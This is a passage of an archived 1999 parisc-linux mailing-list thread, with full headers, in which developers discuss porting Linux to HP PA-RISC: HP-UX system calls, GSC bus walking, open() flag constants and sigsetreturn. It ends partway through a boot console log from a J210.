	by sophia.localdomain (8.9.3/8.9.3) with ESMTP id PAA01098;
	Tue, 10 Aug 1999 15:09:01 -0700
In-Reply-To: <Pine.LNX.4.10.9908101340240.979-100000@sophia.localdomain>
Xref: news.gmane.org gmane.linux.ports.parisc:9798


On Tue, 10 Aug 1999, Kevin Vajk wrote:

> I don't know what type=2 does.

Whoops!  Yes, I do...

It implements ustat().  First argument is the dev, like this:
ustat(dev, buf) ==> utssys(buf, dev, 2)

- Kevin Vajk
  <kvajk@cup.hp.com>



From - Thu Nov 08 21:15:54 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Philipp Rumpf <prumpf@suse.de>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] GSC cards
Date: Thu, 12 Aug 1999 02:01:40 +0200
Lines: 23
Approved: news@gmane.org
Message-ID: <19990812020139.J11312@suse.de>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416619722 13227 80.91.229.3 (22 Nov 2014 01:28:42 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:28:42 +0000 (UTC)
To: parisc-linux@thepuffingroup.com
Original-X-From: prumpf@suse.de  Wed Aug 11 18:00:58 1999
Original-Received: from mailserv2.iuinc.com (qmailr@mailserv2.iuinc.com [206.245.164.55])
	by puffin.external.hp.com (8.8.7/8.8.7) with SMTP id SAA02545
	for <parisc-linux@puffin.external.hp.com>; Wed, 11 Aug 1999 18:00:57 -0600
Original-Received: (qmail 21419 invoked by uid 15267); 12 Aug 1999 00:02:07 -0000
Delivered-To: thepuffi-parisc-linux@thepuffingroup.com
Original-Received: (qmail 21407 invoked from network); 12 Aug 1999 00:02:06 -0000
Original-Received: from cantor.suse.de (194.112.123.193)
  by mailserv2.iuinc.com with SMTP; 12 Aug 1999 00:02:06 -0000
Original-Received: from Galois.suse.de (Galois.suse.de [194.112.123.130])
	by Cantor.suse.de (Postfix) with ESMTP id 0D07132CD3
	for <parisc-linux@thepuffingroup.com>; Thu, 12 Aug 1999 02:02:03 +0200 (MEST)
Original-Received: from Wotan.suse.de (Wotan.suse.de [10.10.0.1])
	by Galois.suse.de (Postfix) with ESMTP id D84AA67A9
	for <parisc-linux@thepuffingroup.com>; Thu, 12 Aug 1999 02:02:02 +0200 (MEST)
Original-Received: by Wotan.suse.de (Postfix, from userid 0)
	id 3E4A07F8B; Thu, 12 Aug 1999 02:01:40 +0200 (MEST)
X-Mailer: Mutt 0.95.4i
Xref: news.gmane.org gmane.linux.ports.parisc:9799

Hi,
even if there was not much list traffic in the last weeks, development is
going on and even making real progress.  We expect to run our first user
space program RSN.

One of the areas we now have code for is GSC bus walking.  This code is
basically engineered from some hints in the Dino documentation and not
tested with any other device (Lasi, Artist, and the CPU, though on the
GSC bus, do not use the HPA pages and are not auto-detectable in the
same way as Dino.

Therefore, if any of you have access to other machines than 712's or 
A180[c]s (this includes 715s), or machines with GSC cards other than
Dino-on-a-card based ones in them, please try to boot them with the Image
at ftp://sunsite.auc.dk/pub/os/linux/parisc/testing/image-2.2.1-gsctest
and send the lines between "GSC init" and "mem_init bla bla bla" here
(it might be a good idea to keep the subject line "Re: GSC cards" instead
to avoid annoying anybody).

TIA,

	Philipp Rumpf


From - Thu Nov 08 21:15:54 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Grant Grundler <grundler@cup.hp.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] GSC cards
Date: Thu, 12 Aug 1999 10:12:26 -0700
Lines: 42
Approved: news@gmane.org
Message-ID: <199908121712.KAA01110@milano.cup.hp.com>
References: <19990812020139.J11312@suse.de>
NNTP-Posting-Host: plane.gmane.org
X-Trace: ger.gmane.org 1416619723 13230 80.91.229.3 (22 Nov 2014 01:28:43 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:28:43 +0000 (UTC)
Cc: parisc-linux@thepuffingroup.com
To: Philipp Rumpf <prumpf@suse.de>
Original-X-From: grundler@cup.hp.com  Thu Aug 12 11:14:37 1999
Original-Received: from mailserv2.iuinc.com (qmailr@mailserv2.iuinc.com [206.245.164.55])
	by puffin.external.hp.com (8.8.7/8.8.7) with SMTP id LAA04633
	for <parisc-linux@puffin.external.hp.com>; Thu, 12 Aug 1999 11:14:36 -0600
Original-Received: (qmail 14377 invoked by uid 15267); 12 Aug 1999 17:15:56 -0000
Delivered-To: thepuffi-parisc-linux@thepuffingroup.com
Original-Received: (qmail 14370 invoked from network); 12 Aug 1999 17:15:54 -0000
Original-Received: from palrel3.hp.com (156.153.255.226)
  by mailserv2.iuinc.com with SMTP; 12 Aug 1999 17:15:54 -0000
Original-Received: from milano.cup.hp.com (root@milano.cup.hp.com [15.16.124.11])
	by palrel3.hp.com (8.8.6 (PHNE_17135)/8.8.5tis) with ESMTP id KAA06616
	for <parisc-linux@thepuffingroup.com>; Thu, 12 Aug 1999 10:15:46 -0700 (PDT)
Original-Received: from localhost (grundler@localhost [127.0.0.1]) by milano.cup.hp.com with SMTP (8.8.6 (PHNE_14041)/8.7.3 TIS Messaging 5.0) id KAA01110; Thu, 12 Aug 1999 10:12:31 -0700 (PDT)
X-Authentication-Warning: milano.cup.hp.com: grundler@localhost [127.0.0.1] didn't use HELO protocol
In-reply-to: Your message of "Thu, 12 Aug 1999 02:01:40 PDT."
             <19990812020139.J11312@suse.de> 
Xref: news.gmane.org gmane.linux.ports.parisc:9800

Philipp Rumpf wrote:
> Hi,
> even if there was not much list traffic in the last weeks, development is
> going on and even making real progress.  We expect to run our first user
> space program RSN.
> 
> One of the areas we now have code for is GSC bus walking.  This code is
> basically engineered from some hints in the Dino documentation

Rather than depend on just one implementation, look at the PA I/O
Architecture documents. Dino is an implementation of a PA I/O device.
BTW, GSC and HP-PB bus walk are basically the same - both follow PA
I/O architecture.

grant

> and not
> tested with any other device (Lasi, Artist, and the CPU, though on the
> GSC bus, do not use the HPA pages and are not auto-detectable in the
> same way as Dino.
> 
> Therefore, if any of you have access to other machines than 712's or 
> A180[c]s (this includes 715s), or machines with GSC cards other than
> Dino-on-a-card based ones in them, please try to boot them with the Image
> at ftp://sunsite.auc.dk/pub/os/linux/parisc/testing/image-2.2.1-gsctest
> and send the lines between "GSC init" and "mem_init bla bla bla" here
> (it might be a good idea to keep the subject line "Re: GSC cards" instead
> to avoid annoying anybody).
> 
> TIA,
> 
> 	Philipp Rumpf
> 
> ---------------------------------------------------------------------------
> To unsubscribe: send e-mail to parisc-linux-request@thepuffingroup.com with
> `unsubscribe' as the subject.
> 

Grant Grundler
Communications Infrastructure Computer Operations
+1.408.447.7253


From - Thu Nov 08 21:15:54 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Philipp Rumpf <prumpf@suse.de>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] GSC cards
Date: Thu, 12 Aug 1999 23:12:43 +0200
Lines: 12
Approved: news@gmane.org
Message-ID: <19990812231243.K11312@suse.de>
References: <19990812020139.J11312@suse.de> <199908121712.KAA01110@milano.cup.hp.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416619723 13236 80.91.229.3 (22 Nov 2014 01:28:43 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:28:43 +0000 (UTC)
Cc: parisc-linux@thepuffingroup.com
To: Grant Grundler <grundler@cup.hp.com>
Original-X-From: prumpf@suse.de  Thu Aug 12 15:12:02 1999
Original-Received: from mailserv2.iuinc.com (qmailr@mailserv2.iuinc.com [206.245.164.55])
	by puffin.external.hp.com (8.8.7/8.8.7) with SMTP id PAA05205
	for <parisc-linux@puffin.external.hp.com>; Thu, 12 Aug 1999 15:12:01 -0600
Original-Received: (qmail 488 invoked by uid 15267); 12 Aug 1999 21:13:06 -0000
Delivered-To: thepuffi-parisc-linux@thepuffingroup.com
Original-Received: (qmail 481 invoked from network); 12 Aug 1999 21:13:06 -0000
Original-Received: from cantor.suse.de (194.112.123.193)
  by mailserv2.iuinc.com with SMTP; 12 Aug 1999 21:13:06 -0000
Original-Received: from Galois.suse.de (Galois.suse.de [194.112.123.130])
	by Cantor.suse.de (Postfix) with ESMTP
	id BD07532D06; Thu, 12 Aug 1999 23:13:04 +0200 (MEST)
Original-Received: from Wotan.suse.de (Wotan.suse.de [10.10.0.1])
	by Galois.suse.de (Postfix) with ESMTP
	id B2E3D67A8; Thu, 12 Aug 1999 23:13:04 +0200 (MEST)
Original-Received: by Wotan.suse.de (Postfix, from userid 0)
	id A2B557F8B; Thu, 12 Aug 1999 23:12:43 +0200 (MEST)
X-Mailer: Mutt 0.95.4i
In-Reply-To: <199908121712.KAA01110@milano.cup.hp.com>; from Grant Grundler on Thu, Aug 12, 1999 at 10:12:26AM -0700
Xref: news.gmane.org gmane.linux.ports.parisc:9801

On Thu, Aug 12, 1999 at 10:12:26AM -0700, Grant Grundler wrote:
> > One of the areas we now have code for is GSC bus walking.  This code is
> > basically engineered from some hints in the Dino documentation
> 
> Rather than depend on just one implementation, look at the PA I/O
> Architecture documents. Dino is an implementation of a PA I/O device.

AFAIK, these documents are not publically available.  If they indeed are,
could someone send the URLs ?

	Philipp Rumpf


From - Thu Nov 08 21:15:54 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "Jim Hull" <jim_hull@hp.com>
Newsgroups: gmane.linux.ports.parisc
Subject: RE: [parisc-linux] GSC cards
Date: Thu, 12 Aug 1999 16:26:24 -0700
Lines: 16
Approved: news@gmane.org
Message-ID: <000401bee51a$179f9f80$a64d000f@jh733131.cup.hp.com>
References: <19990812231243.K11312@suse.de>
Reply-To: <hull@cup.hp.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
	charset="iso-8859-1"
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416619723 13238 80.91.229.3 (22 Nov 2014 01:28:43 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:28:43 +0000 (UTC)
Cc: <parisc-linux@thepuffingroup.com>
To: "Philipp Rumpf" <prumpf@suse.de>, "Grant Grundler" <grundler@cup.hp.com>
Original-X-From: jim_hull@hp.com  Thu Aug 12 17:25:27 1999
Original-Received: from mailserv2.iuinc.com (qmailr@mailserv2.iuinc.com [206.245.164.55])
	by puffin.external.hp.com (8.8.7/8.8.7) with SMTP id RAA05582
	for <parisc-linux@puffin.external.hp.com>; Thu, 12 Aug 1999 17:25:26 -0600
Original-Received: (qmail 25259 invoked by uid 15267); 12 Aug 1999 23:26:41 -0000
Delivered-To: thepuffi-parisc-linux@thepuffingroup.com
Original-Received: (qmail 25252 invoked from network); 12 Aug 1999 23:26:41 -0000
Original-Received: from atlrel2.hp.com (156.153.255.202)
  by mailserv2.iuinc.com with SMTP; 12 Aug 1999 23:26:41 -0000
Original-Received: from lucy.cup.hp.com (lucy.cup.hp.com [15.0.77.158])
	by atlrel2.hp.com (8.8.6 (PHNE_17135)/8.8.5tis) with ESMTP id TAA01367
	for <parisc-linux@thepuffingroup.com>; Thu, 12 Aug 1999 19:26:08 -0400 (EDT)
Original-Received: from jh733131 (jh73313p.cup.hp.com [15.0.77.166]) by lucy.cup.hp.com with SMTP (8.8.6 (PHNE_14041)/8.7.3 TIS Messaging 5.0) id QAA10378; Thu, 12 Aug 1999 16:26:24 -0700 (PDT)
X-Priority: 3 (Normal)
X-MSMail-Priority: Normal
X-Mailer: Microsoft Outlook 8.5, Build 4.71.2173.0
X-MimeOLE: Produced By Microsoft MimeOLE V4.72.3612.1700
Importance: Normal
In-reply-to: <19990812231243.K11312@suse.de>
Xref: news.gmane.org gmane.linux.ports.parisc:9802

> On Thu, Aug 12, 1999 at 10:12:26AM -0700, Grant Grundler wrote:
> > > One of the areas we now have code for is GSC bus walking.  This code is
> > > basically engineered from some hints in the Dino documentation
> >
> > Rather than depend on just one implementation, look at the PA I/O
> > Architecture documents. Dino is an implementation of a PA I/O device.
>
> AFAIK, these documents are not publically available.  If they indeed are,
> could someone send the URLs ?

What you need are the early chapters of the I/O Architecture Reference.  You're
right that these have not (yet) been released by HP, but I've just started the
process to get these chapters released to you.

 -- Jim


From - Thu Nov 08 21:15:54 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Grant Grundler <grundler@cup.hp.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] GSC cards
Date: Thu, 12 Aug 1999 17:52:04 -0700
Lines: 19
Approved: news@gmane.org
Message-ID: <199908130052.RAA01849@milano.cup.hp.com>
References: <000401bee51a$179f9f80$a64d000f@jh733131.cup.hp.com>
NNTP-Posting-Host: plane.gmane.org
X-Trace: ger.gmane.org 1416619724 13244 80.91.229.3 (22 Nov 2014 01:28:44 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:28:44 +0000 (UTC)
Cc: "Philipp Rumpf" <prumpf@suse.de>, parisc-linux@thepuffingroup.com
To: hull@cup.hp.com
Original-X-From: grundler@cup.hp.com  Thu Aug 12 18:54:25 1999
Original-Received: from mailserv2.iuinc.com (qmailr@mailserv2.iuinc.com [206.245.164.55])
	by puffin.external.hp.com (8.8.7/8.8.7) with SMTP id SAA05948
	for <parisc-linux@puffin.external.hp.com>; Thu, 12 Aug 1999 18:54:19 -0600
Original-Received: (qmail 6337 invoked by uid 15267); 13 Aug 1999 00:55:31 -0000
Delivered-To: thepuffi-parisc-linux@thepuffingroup.com
Original-Received: (qmail 6330 invoked from network); 13 Aug 1999 00:55:31 -0000
Original-Received: from palrel3.hp.com (156.153.255.226)
  by mailserv2.iuinc.com with SMTP; 13 Aug 1999 00:55:31 -0000
Original-Received: from milano.cup.hp.com (root@milano.cup.hp.com [15.16.124.11])
	by palrel3.hp.com (8.8.6 (PHNE_17135)/8.8.5tis) with ESMTP id RAA14779
	for <parisc-linux@thepuffingroup.com>; Thu, 12 Aug 1999 17:55:26 -0700 (PDT)
Original-Received: from localhost (grundler@localhost [127.0.0.1]) by milano.cup.hp.com with SMTP (8.8.6 (PHNE_14041)/8.7.3 TIS Messaging 5.0) id RAA01849; Thu, 12 Aug 1999 17:52:12 -0700 (PDT)
X-Authentication-Warning: milano.cup.hp.com: grundler@localhost [127.0.0.1] didn't use HELO protocol
In-reply-to: Your message of "Thu, 12 Aug 1999 16:26:24 PDT."
             <000401bee51a$179f9f80$a64d000f@jh733131.cup.hp.com> 
Xref: news.gmane.org gmane.linux.ports.parisc:9803

"Jim Hull" wrote:
...
> > > Rather than depend on just one implementation, look at the PA I/O
> > > Architecture documents. Dino is an implementation of a PA I/O device.
> >
> > AFAIK, these documents are not publically available.  If they indeed are,
> > could someone send the URLs ?
> 
> What you need are the early chapters of the I/O Architecture Reference.
> You're right that these have not (yet) been released by HP, but I've
> just started the process to get these chapters released to you.

Apologies - I thought the entire PA I/O Arch reference was available.
Given most of the platform stuff (Lasi/Dino/PA 1.1) has been released,
I didn't realize PA I/O Architecture Reference would contain anything
HP wanted to keep internal.

grant


From - Thu Nov 08 21:15:54 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Larry Dwyer <larry_dwyer@hp.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: reserving constants
Date: Fri, 13 Aug 1999 19:30:48 -0700
Lines: 27
Approved: news@gmane.org
Message-ID: <3.0.3.32.19990813193048.0072b54c@hpuxmail.cup.hp.com>
References: <19990806004827.U11586@mencheca.ch.genedata.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset="us-ascii"
X-Trace: ger.gmane.org 1416619724 13249 80.91.229.3 (22 Nov 2014 01:28:44 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:28:44 +0000 (UTC)
Cc: parisc-linux@thepuffingroup.com
To: Matthew Wilcox <Matthew.Wilcox@genedata.com>
Original-X-From: larry_dwyer@hp.com  Fri Aug 13 20:36:33 1999
Original-Received: from mailserv2.iuinc.com (qmailr@mailserv2.iuinc.com [206.245.164.55])
	by puffin.external.hp.com (8.8.7/8.8.7) with SMTP id UAA07339
	for <parisc-linux@puffin.external.hp.com>; Fri, 13 Aug 1999 20:36:32 -0600
Original-Received: (qmail 21039 invoked by uid 15267); 14 Aug 1999 02:37:54 -0000
Delivered-To: thepuffi-parisc-linux@thepuffingroup.com
Original-Received: (qmail 21032 invoked from network); 14 Aug 1999 02:37:54 -0000
Original-Received: from palrel3.hp.com (156.153.255.226)
  by mailserv2.iuinc.com with SMTP; 14 Aug 1999 02:37:54 -0000
Original-Received: from hpuxmail.cup.hp.com (root@hpuxmail.cup.hp.com [15.0.69.78])
	by palrel3.hp.com (8.8.6 (PHNE_17135)/8.8.5tis) with ESMTP id TAA11475;
	Fri, 13 Aug 1999 19:37:52 -0700 (PDT)
Original-Received: from hpldkbd1 (hpldkbd1.cup.hp.com [15.13.186.93])
	by hpuxmail.cup.hp.com (8.8.6 (PHNE_17190)/8.8.6) with SMTP id TAA06683;
	Fri, 13 Aug 1999 19:37:51 -0700 (PDT)
X-Sender: ld@hpuxmail.cup.hp.com
X-Mailer: QUALCOMM Windows Eudora Pro Version 3.0.3 (32)
In-Reply-To: <19990806004827.U11586@mencheca.ch.genedata.com>
Xref: news.gmane.org gmane.linux.ports.parisc:9804

Working...-Larry

At 12:48 AM 8/6/99 +0200, Matthew Wilcox wrote:
>
>I have some more constants which need reserving.  These are in the O_*
>numberspace:
>
>#define FASYNC          00020000 /* fcntl, for BSD compatibility */
>#define O_DIRECT        00040000 /* direct disk access hint - currently
ignored */
>#define O_DIRECTORY     00010000 /* must be a directory */
>#define O_NOFOLLOW      00000200 /* don't follow links */
>
>Linux doesn't distinguish between O_NONBLOCK and O_NDELAY so I also
>defined:
>
>#define O_NONBLOCK      00200004 /* HPUX has separate NDELAY & NONBLOCK */
>#define O_NDELAY        O_NONBLOCK
>
>-- 
>Matthew Wilcox <willy@bofh.ai>
>"Windows and MacOS are products, contrived by engineers in the service of
>specific companies. Unix, by contrast, is not so much a product as it is a
>painstakingly compiled oral history of the hacker subculture." - N Stephenson
>
>


From - Thu Nov 08 21:15:54 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Grant Grundler <grundler@cup.hp.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: reserving constants
Date: Sun, 15 Aug 1999 23:41:03 -0700
Lines: 31
Approved: news@gmane.org
Message-ID: <199908160641.XAA03656@milano.cup.hp.com>
NNTP-Posting-Host: plane.gmane.org
X-Trace: ger.gmane.org 1416619724 13253 80.91.229.3 (22 Nov 2014 01:28:44 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:28:44 +0000 (UTC)
Cc: parisc-linux@thepuffingroup.com
To: Matthew Wilcox <Matthew.Wilcox@genedata.com>
Original-X-From: grundler@cup.hp.com  Mon Aug 16 00:49:47 1999
Original-Received: from mailserv2.iuinc.com (qmailr@mailserv2.iuinc.com [206.245.164.55])
	by puffin.external.hp.com (8.8.7/8.8.7) with SMTP id AAA13796
	for <parisc-linux@puffin.external.hp.com>; Mon, 16 Aug 1999 00:49:46 -0600
Original-Received: (qmail 19217 invoked by uid 15267); 16 Aug 1999 06:44:31 -0000
Delivered-To: thepuffi-parisc-linux@thepuffingroup.com
Original-Received: (qmail 19204 invoked from network); 16 Aug 1999 06:44:30 -0000
Original-Received: from palrel3.hp.com (156.153.255.226)
  by mailserv2.iuinc.com with SMTP; 16 Aug 1999 06:44:30 -0000
Original-Received: from milano.cup.hp.com (root@milano.cup.hp.com [15.16.124.11])
	by palrel3.hp.com (8.8.6 (PHNE_17135)/8.8.5tis) with ESMTP id XAA13365;
	Sun, 15 Aug 1999 23:44:27 -0700 (PDT)
Original-Received: from localhost (grundler@localhost [127.0.0.1]) by milano.cup.hp.com with SMTP (8.8.6 (PHNE_14041)/8.7.3 TIS Messaging 5.0) id XAA03656; Sun, 15 Aug 1999 23:41:08 -0700 (PDT)
X-Authentication-Warning: milano.cup.hp.com: grundler@localhost [127.0.0.1] didn't use HELO protocol
Xref: news.gmane.org gmane.linux.ports.parisc:9805

At 12:48 AM 8/6/99 +0200, Matthew Wilcox wrote:
...
>Linux doesn't distinguish between O_NONBLOCK and O_NDELAY so I also
>defined:
>
>#define O_NONBLOCK      00200004 /* HPUX has separate NDELAY & NONBLOCK */
>#define O_NDELAY        O_NONBLOCK

I would not equate the two.
I'm not sure the difference is clear to folks outside of HP.
Or even many folks inside HP for that matter. :^/
I just read the open(2) and read(2) man page. I don't think
it's use is fully documented. Perhaps in the DDG or DDR?

I might be confusing flags here though...could someone confirm
the O_NDELAY is the same flag which gets passed to the disk
drivers as B_NDELAY (defined in buf.h)?

B_NDELAY has special meaning to the mass storage subsystem and
is (was) needed by some of the "high availability" applications.

The semantics (I thought) of B_NDELAY is it allows the process to sleep
on a open/read/write, but no part of the SCSI driver stack is allowed
to retry "errors". This means the application must handle all error
conditions - including transient errors and there are plenty of those.
This was implemented to avoid long delays associated with retrying
"transient" errors and get control back to the application.

hope this helps,
grant


From - Thu Nov 08 21:15:54 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Christopher Beard <cjbeard@puffingroup.com>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] Updates
Date: Mon, 16 Aug 1999 20:28:52 -0400 (EDT)
Lines: 11
Approved: news@gmane.org
Message-ID: <Pine.LNX.4.04.9908162026060.4216-100000@burrow.puffingroup.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: TEXT/PLAIN; charset=US-ASCII
X-Trace: ger.gmane.org 1416619725 13254 80.91.229.3 (22 Nov 2014 01:28:45 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:28:45 +0000 (UTC)
To: parisc-linux@thepuffingroup.com
Original-X-From: cjbeard@burrow.puffingroup.com  Mon Aug 16 17:50:55 1999
Original-Received: from mailserv2.iuinc.com (mailserv2.iuinc.com [206.245.164.55])
	by puffin.external.hp.com (8.8.7/8.8.7) with SMTP id RAA14754
	for <parisc-linux@puffin.external.hp.com>; Mon, 16 Aug 1999 17:50:54 -0600
Original-Received: (qmail 16812 invoked by uid 15267); 16 Aug 1999 23:51:51 -0000
Delivered-To: thepuffi-parisc-linux@thepuffingroup.com
Original-Received: (qmail 16804 invoked from network); 16 Aug 1999 23:51:51 -0000
Original-Received: from burrow.puffingroup.com (cjbeard@209.151.0.76)
  by mailserv2.iuinc.com with SMTP; 16 Aug 1999 23:51:51 -0000
Original-Received: from localhost (cjbeard@localhost)
	by burrow.puffingroup.com (8.8.7/8.8.7) with ESMTP id UAA04218
	for <parisc-linux@thepuffingroup.com>; Mon, 16 Aug 1999 20:28:52 -0400
Xref: news.gmane.org gmane.linux.ports.parisc:9806


I've updated the web pages, and will continue to do so over the next
couple of weeks to bring them in sync with reality. (It's amazing how
quickly documentation can fall behind.) 

You will also notice that I've added the ability to walk through the
kernel source using a cross-reference utility (lxr) which I hope will be
moderately useful.

Chris


From - Thu Nov 08 21:15:54 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Cary Coutant <cary@cup.hp.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] sigsetreturn (was utssys?)
Date: Tue, 17 Aug 1999 12:20:07 -0700
Lines: 32
Approved: news@gmane.org
Message-ID: <199908171916.MAA24603@adlmail.cup.hp.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset="US-ASCII"
X-Trace: ger.gmane.org 1416619725 13257 80.91.229.3 (22 Nov 2014 01:28:45 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:28:45 +0000 (UTC)
To: "Matthew Wilcox" <Matthew.Wilcox@genedata.com>,
        <parisc-linux@thepuffingroup.com>
Original-X-From: cary@cup.hp.com  Tue Aug 17 13:14:53 1999
Original-Received: from mailserv2.iuinc.com (qmailr@mailserv2.iuinc.com [206.245.164.55])
	by puffin.external.hp.com (8.8.7/8.8.7) with SMTP id NAA15562
	for <parisc-linux@puffin.external.hp.com>; Tue, 17 Aug 1999 13:14:53 -0600
Original-Received: (qmail 1019 invoked by uid 15267); 17 Aug 1999 19:16:19 -0000
Delivered-To: thepuffi-parisc-linux@thepuffingroup.com
Original-Received: (qmail 1009 invoked from network); 17 Aug 1999 19:16:19 -0000
Original-Received: from atlrel2.hp.com (156.153.255.202)
  by mailserv2.iuinc.com with SMTP; 17 Aug 1999 19:16:19 -0000
Original-Received: from adlmail.cup.hp.com (adlmail.cup.hp.com [15.0.100.30])
	by atlrel2.hp.com (8.8.6 (PHNE_17135)/8.8.5tis) with ESMTP id PAA17909;
	Tue, 17 Aug 1999 15:15:49 -0400 (EDT)
Original-Received: from [15.0.97.82] (cc757591.cup.hp.com [15.0.97.82]) by adlmail.cup.hp.com with SMTP (8.8.6 (PHNE_14041)/8.7.3 TIS Messaging 5.0) id MAA24603; Tue, 17 Aug 1999 12:16:15 -0700 (PDT)
x-sender: cary@adlmail.cup.hp.com
x-mailer: Claris Emailer 2.0v3, January 22, 1998
Xref: news.gmane.org gmane.linux.ports.parisc:9807

>I also can't find a manual page for sigsetreturn() which I probably need
>to understand more deeply than utssys :-)

When the kernel passes control to a signal handler, it needs to set the 
stack up with a signal context structure and a return address that 
results in the restoration of that context when (and if) the signal 
handler returns. Since the normal BV instruction used for returns can't 
branch across space boundaries, the signal handler can't return directly 
to kernel space, so the kernel needs to supply a return address in user 
space that will implement the restoration of the interrupted context. 
This return address is the sigreturn() system call, found in libc. In 
order for the kernel to know the address of sigreturn, it needs to be 
told in advance; that's what sigsetreturn() does.

The call to sigsetreturn() has been moved around several times in the 
history of HP-UX. At one point, it was in the _start() routine in the C 
library, but that didn't get called for Fortran programs, so it was added 
to several of the signal routines, to make sure it got called before any 
signal handlers could be installed. Ultimately, I think it ended up in 
crt0, where it should have been all along.

Sigsetreturn() also supplies a "cookie" that the kernel can use to 
determine what the vintage is of the running program. For programs build 
for PA 1.0, for example, the cookie tells the kernel to deliver a shorter 
signal context record, since some of those early applications were 
actually dependent on the size and layout of the context record. Someone 
in OS land will probably have to supply you with the detailed meanings of 
the cookies used in this call, if it matters.

Cary Coutant
Runtime Architect


From - Thu Nov 08 21:15:54 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Steve Moret <smoret-puffin@genocide.net>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] J210 and 990811 Kernel
Date: Tue, 17 Aug 1999 12:27:35 -0700
Lines: 55
Approved: news@gmane.org
Message-ID: <19990817192737.3940.qmail@mailserv2.iuinc.com>
NNTP-Posting-Host: plane.gmane.org
X-Trace: ger.gmane.org 1416619725 13259 80.91.229.3 (22 Nov 2014 01:28:45 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:28:45 +0000 (UTC)
To: parisc-linux@thepuffingroup.com
Original-X-From: smoret@typhon.genocide.net  Tue Aug 17 13:26:10 1999
Original-Received: from mailserv2.iuinc.com (qmailr@mailserv2.iuinc.com [206.245.164.55])
	by puffin.external.hp.com (8.8.7/8.8.7) with SMTP id NAA15917
	for <parisc-linux@puffin.external.hp.com>; Tue, 17 Aug 1999 13:26:09 -0600
Original-Received: (qmail 3941 invoked by uid 15267); 17 Aug 1999 19:27:37 -0000
Delivered-To: thepuffi-parisc-linux@thepuffingroup.com
Original-Received: (qmail 3934 invoked from network); 17 Aug 1999 19:27:36 -0000
Original-Received: from cx531961-c.msnv1.occa.home.com (HELO typhon.genocide.net) (qmailr@24.5.39.130)
  by mailserv2.iuinc.com with SMTP; 17 Aug 1999 19:27:36 -0000
Original-Received: (qmail 12900 invoked from network); 17 Aug 1999 19:27:35 -0000
Original-Received: from localhost (HELO typhon.genocide.net) (smoret@127.0.0.1)
  by localhost with SMTP; 17 Aug 1999 19:27:35 -0000
Original-Sender: smoret@typhon.genocide.net
Xref: news.gmane.org gmane.linux.ports.parisc:9808

I'm just reporting in on whats happening on my J210 with the 990811 kernel
from ftp://ftp.dlug.de:/pub/parisc-linux/

Here's what I get from the console:
PARISC/Linux Bootstrap Version 0.5 (interactive)
By Helge Deller & Jason Eckhardt
Built Wed Aug 11 09:52:34 METDST 1999 by root@grcdg306


Please enter the command-line:
/stand/vmlinux HOME=/ TERM=LINUX
Reading parameters...done.

Loading PA-RISC/Linux Kernel...
SOM-Kernel:
aux_header_location: 00000080
som       : 00200080
exec_dfile: 00098000
